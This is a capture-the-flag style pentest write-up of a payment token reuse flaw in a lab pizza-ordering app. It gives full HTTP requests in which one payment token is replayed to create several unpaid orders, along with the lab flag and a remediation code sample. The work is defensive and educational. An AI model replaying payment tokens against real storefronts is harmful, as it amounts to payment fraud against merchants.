BugForge — 2026.11.10

Cheesy Does It: Payment Token Reuse

BugForge Payment Token Reuse easy

Executive Summary

Cheesy Does It is a pizza ordering application on the BugForge platform: a React + MUI single page frontend backed by Express and SQLite, with JWT bearer authentication and a JSON-only request parser. Testing confirmed one finding: the payment_token issued during the payment chain is never marked as consumed, so the order creation endpoint accepted the same token on every replay observed. A single validated payment therefore covers an arbitrary number of orders.

ID Title Severity CVSS CWE Endpoint
F1 Payment token reuse: no single-use enforcement on order creation High 7.1 CWE-837, CWE-840 POST /api/orders

The flag rode the reused order creation response as an extra flag key, consistent with the flag attaching to the unpaid order. A prior rotation of this lab filed the same underlying observation as a race condition; this rotation shows a single sequential request is enough, with no concurrency tooling required.


Objective

Solve the current Cheesy Does It rotation (hint: “Can you reuse a token?”) and capture the flag.


Scope / Initial Access

# Target Application
URL: https://lab-1794248220821-0j7gg0.labs-app.bugforge.io

# Auth details
Registration: POST /api/register returns a JWT (HS256) used as a Bearer token
Starting privileges: unauthenticated; self-registered customer account

Menu endpoints are public. Everything payment related requires the bearer token; POST /api/payment/validate returns 401 “Access token required” without it.


Reconnaissance: Bundle Reuse and Payment Chain Walk

The frontend bundle (main.0de85fb7.js, md5 39e96367a4bd79e6d51e73083fd90cc9) is the fifth ship of the same build, so the endpoint map from four prior rotations carried over and the surface walk was a confirmation pass rather than fresh discovery. Observations that shaped the test plan:

  1. The backend rotates independently of the frontend, so prior findings are leads, not facts. This rotation’s hint (“Can you reuse a token?”) was new and pointed away from the mass assignment and NFKC bugs of earlier rotations.
  2. The payment chain is three steps: POST /api/payment/validate (card plus amount, returns a payment_token), POST /api/payment/process (card, amount, token, returns a transaction_id), then POST /api/orders (items plus token).
  3. Order creation recomputes the total server side from the menu, including size and quantity upcharges. A mismatch is rejected with a 400 carrying calculated and paid values, so price tampering is closed.
  4. The order response includes a payment_reference field, which made token lineage visible across orders.

Application Architecture

Component Detail
Frontend React + MUI (Create React App), bundle main.0de85fb7.js
Backend Express + SQLite
Auth JWT HS256 bearer token, stored client side in localStorage.token
Parser JSON only

API Surface

Endpoint Method Auth Notes
/api/register, /api/login POST No Returns {token, user}
/api/verify-token GET Bearer  
/api/profile PUT Bearer  
/api/menu/{pizzas,bases,sauces,toppings} GET No Public menu data
/api/menu/pizzas/:id(/reviews) GET, POST Bearer  
/api/payment/validate POST Bearer Card + amount, returns payment_token
/api/payment/process POST Bearer Card + amount + token, returns transaction_id
/api/orders POST, GET Bearer Order creation requires payment_token
/api/orders/:id GET Bearer  
/api/coupons/apply, /api/rewards POST, GET Bearer  
/api/tickets, /api/tickets/:id POST, GET Bearer  
/api/admin/* GET, POST, PUT, DELETE Admin Stats, users, orders, tickets, coupons

Known Users

Username ID Role
(admin) 1 admin
(customer) 2 customer
(foodie) 3 foodie
d4rktester 4 customer

Seeded account roles were carried over from prior rotations and not re-verified this rotation.


Attack Chain Visualization

┌──────────────────────────┐     ┌───────────────────────────┐     ┌──────────────────────────┐     ┌──────────────────────────┐     ┌──────────────────────────┐
│ POST /api/register       │     │ POST /api/payment/validate│     │ POST /api/payment/process│     │ POST /api/orders #1      │     │ POST /api/orders #2      │
│ customer account, JWT    │ ──▶ │ card + amount 10.99       │ ──▶ │ card + amount + token    │ ──▶ │ items + payment_token    │ ──▶ │ SAME payment_token       │
│ issued                   │     │ payment_token minted      │     │ transaction_id, nothing  │     │ order 1, payment_ref,    │     │ order 2, same payment_   │
│                          │     │                           │     │ is consumed              │     │ no flag (control)        │     │ reference, flag in body  │
└──────────────────────────┘     └───────────────────────────┘     └──────────────────────────┘     └──────────────────────────┘     └──────────────────────────┘
   root credential                  token bound to user and          the chain ends with no          first use is the paid           reuse succeeds every
                                    amount                           consumption step                order, normal response          time, no concurrency

Findings

F1: Payment token reuse: no single-use enforcement on order creation

Severity: High CVSS v3.1: 7.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N) CWE: CWE-837 (Improper Enforcement of a Single, Unique Action), CWE-840 (Business Logic Errors) Endpoint: POST /api/orders Authentication required: Yes

Description

The payment chain validates a card, mints a payment_token, and processes a payment before order creation is allowed. The server enforces two of the three properties a single-use token needs:

  1. Amount binding. The order total is recalculated from the menu and checked against the validated amount. A mismatched total on reuse is rejected with a 400 echoing calculated and paid.
  2. Ownership scoping. A token replayed by a different account is rejected with 400 “Invalid or expired payment session. Payment must be completed before creating an order.”

What is missing is the third property: consumption. Replaying the order creation request with the same payment_token succeeded on every attempt. Order 1 (first use) returned the standard ten response keys with no flag; order 2 (first reuse) and order 3 (second reuse) each returned the same keys plus a flag key, and every reuse carried the same payment_reference value as the paid order (6174e8bc-5d3b-4150-8878-835b0df2b897, identical to the payment_token). No concurrency is involved; each replay is an ordinary sequential request. Reuse was exercised across three orders within one session; token lifetime beyond that window was not measured.

A prior writeup for the 2026-07-15 build of this lab recorded the same token as raced to six orders and stated that sequential reuse of a consumed token was rejected. On this build a single sequential request succeeds, so that rejection was either specific to the older backend or never directly observed; that writeup’s evidence was re-derived from an administrative order dump rather than direct request captures. This rotation’s hint pointed at reuse, and the sequential replay is the path that delivers the flag.

Impact

One validated payment covered every replayed order observed, with no limit observed within the test window. Each replayed order records the payment reference of the original transaction.

Reproduction

Step 1: Register an account

POST /api/register HTTP/1.1
Host: lab-1794248220821-0j7gg0.labs-app.bugforge.io
Content-Type: application/json

{"username":"d4rktester","email":"[email protected]","password":"<redacted>","full_name":"D4rk Tester","phone":"555-0101","address":"1 Test St"}

Response: {"token":"<JWT>","user":{...}}. The JWT is the bearer credential for the rest of the chain.

Step 2: Validate the card to mint a payment token

POST /api/payment/validate HTTP/1.1
Host: lab-1794248220821-0j7gg0.labs-app.bugforge.io
Authorization: Bearer <JWT>
Content-Type: application/json

{"card_number":"4444 4444 4444 4444","exp_month":"12","exp_year":"26","cvv":"123","amount":10.99}

Response: {"valid":true,"message":"Card validated successfully","payment_token":"6174e8bc-5d3b-4150-8878-835b0df2b897"}. The token is bound to this amount.

Step 3: Process the payment

POST /api/payment/process HTTP/1.1
Host: lab-1794248220821-0j7gg0.labs-app.bugforge.io
Authorization: Bearer <JWT>
Content-Type: application/json

{"card_number":"4444 4444 4444 4444","amount":10.99,"payment_token":"6174e8bc-5d3b-4150-8878-835b0df2b897"}

Response: success with a transaction_id in TXN-<timestamp> format. Nothing is consumed at this step.

Step 4: Create order 1 (first use, control)

POST /api/orders HTTP/1.1
Host: lab-1794248220821-0j7gg0.labs-app.bugforge.io
Authorization: Bearer <JWT>
Content-Type: application/json

{"items":[{"pizza_name":"Classic Margherita","base_name":"Thin Crust","sauce_name":"Classic Tomato","size":"Medium","toppings":[],"quantity":1,"unit_price":10.99,"total_price":10.99}],"delivery_address":"1 Test St","phone":"555-0101","payment_method":"card","notes":"","payment_token":"6174e8bc-5d3b-4150-8878-835b0df2b897","coupon_code":null,"points_to_use":0}

Response: 200 with the standard ten keys (id, order_number, message, status, subtotal, coupon_discount, points_used, points_earned, payment_reference, total). No flag key. This is the paid order.

Step 5: Replay the identical order creation with the same token

POST /api/orders HTTP/1.1
Host: lab-1794248220821-0j7gg0.labs-app.bugforge.io
Authorization: Bearer <JWT>
Content-Type: application/json

{"items":[{"pizza_name":"Classic Margherita","base_name":"Thin Crust","sauce_name":"Classic Tomato","size":"Medium","toppings":[],"quantity":1,"unit_price":10.99,"total_price":10.99}],"delivery_address":"1 Test St","phone":"555-0101","payment_method":"card","notes":"","payment_token":"6174e8bc-5d3b-4150-8878-835b0df2b897","coupon_code":null,"points_to_use":0}

Response: {"id":2,"order_number":"CDI-1794248545365-Q6NNSS4MN","message":"Order created successfully","status":"received","subtotal":10.99,"coupon_discount":0,"points_used":0,"points_earned":10,"payment_reference":"6174e8bc-5d3b-4150-8878-835b0df2b897","total":10.99,"flag":"bug{w3H5ED7SvUvxpjyvpAFBo8xf8KamJzis}"}. A second order exists against the same payment, and the flag key appears.

Step 6: Replay again to confirm the reuse is unlimited

POST /api/orders HTTP/1.1
Host: lab-1794248220821-0j7gg0.labs-app.bugforge.io
Authorization: Bearer <JWT>
Content-Type: application/json

{"items":[{"pizza_name":"Classic Margherita","base_name":"Thin Crust","sauce_name":"Classic Tomato","size":"Medium","toppings":[],"quantity":1,"unit_price":10.99,"total_price":10.99}],"delivery_address":"999 Other St","phone":"555-0101","payment_method":"card","notes":"reuse3","payment_token":"6174e8bc-5d3b-4150-8878-835b0df2b897","coupon_code":null,"points_to_use":0}

Response: {"id":3,"order_number":"CDI-1794248565214-JK9M5G799",...,"payment_reference":"6174e8bc-5d3b-4150-8878-835b0df2b897","total":10.99,"flag":"bug{w3H5ED7SvUvxpjyvpAFBo8xf8KamJzis}"}. Order 3 confirms the replay has no limit.

Controls observed:

  • Cross-user replay: a second account replaying the token received 400 “Invalid or expired payment session. Payment must be completed before creating an order.” Token lookup is scoped to the owning user.
  • Amount mismatch on reuse: 400 with calculated and paid values. Amount binding is intact on the reuse path.

Remediation

Fix 1: Consume the payment token when the order is created

The token needs a consumed state, and the consumption must happen in the same transaction as the order insert so a failed order does not burn the token and a successful order cannot skip it.

// BEFORE (Vulnerable)
// Order creation validates the token but never transitions it to a used state
const payment = db.getPaymentSession(token);
if (!payment || payment.user_id !== req.user.id) {
  return res.status(400).json({ error: "Invalid or expired payment session..." });
}
if (payment.amount !== calculatedTotal) {
  return res.status(400).json({ error: "Order total does not match payment amount", ... });
}
const order = db.createOrder(req.user.id, items, token);   // token stays reusable forever

// AFTER (Secure)
const order = db.transaction(() => {
  const payment = db.getPaymentSessionForUpdate(token);    // row-locked read (general form);
                                                           // on SQLite the transaction wrapper
                                                           // serializes access instead
  if (!payment || payment.user_id !== req.user.id) {
    throw new PaymentError("Invalid or expired payment session...");
  }
  if (payment.amount !== calculatedTotal) {
    throw new PaymentError("Order total does not match payment amount");
  }
  if (payment.consumed) {                                  // single-use check
    throw new PaymentError("Payment session already used");
  }
  const order = db.createOrder(req.user.id, items, token);
  db.markPaymentSessionConsumed(token, order.id);          // same transaction as the insert
  return order;
});

Additional recommendations:

  • Expire payment sessions on a short TTL so stale tokens cannot outlive the checkout flow.
  • Alert on repeated order creation sharing one payment_reference; the duplicate reference is a detectable signature of this bug.

OWASP Top 10 Coverage

  • A04:2021 Insecure Design: The payment flow mints a single-use credential but never enforces the single-use property at the point of consumption. The amount binding and ownership scoping exist, so the gap is a missing step in the designed flow, not a broken check.

Tools Used

Tool Purpose
Caido Request capture and replay of the payment chain
Bundle analysis (endpoint and verb extraction) Mapping the API surface from main.0de85fb7.js

Failed Approaches

Approach Result Why It Failed
Concurrent race replay (the 07-15 approach) Not needed Sequential replay succeeds on this build; no concurrency tooling required
Cross-user token replay 400 “Invalid or expired payment session…” Token lookup is scoped to the owning user
Order total mismatch on reuse 400 with calculated/paid echo Server recalculates the total from the menu; amount binding holds
Admin surface probing, SQLi sweep, PATCH /api/orders/:id, coupons/rewards/tickets walk, JWT attacks Not re-run this rotation Hint pointed at token reuse; the flag landed on test 2 of the attack loop, so these were scope cut


Tags: #webapp #business-logic #single-use-enforcement #payment-token #bugforge Document Version: 1.0 Last Updated: 2026-11-10

#webapp #business-logic #single-use-token #payment #bugforge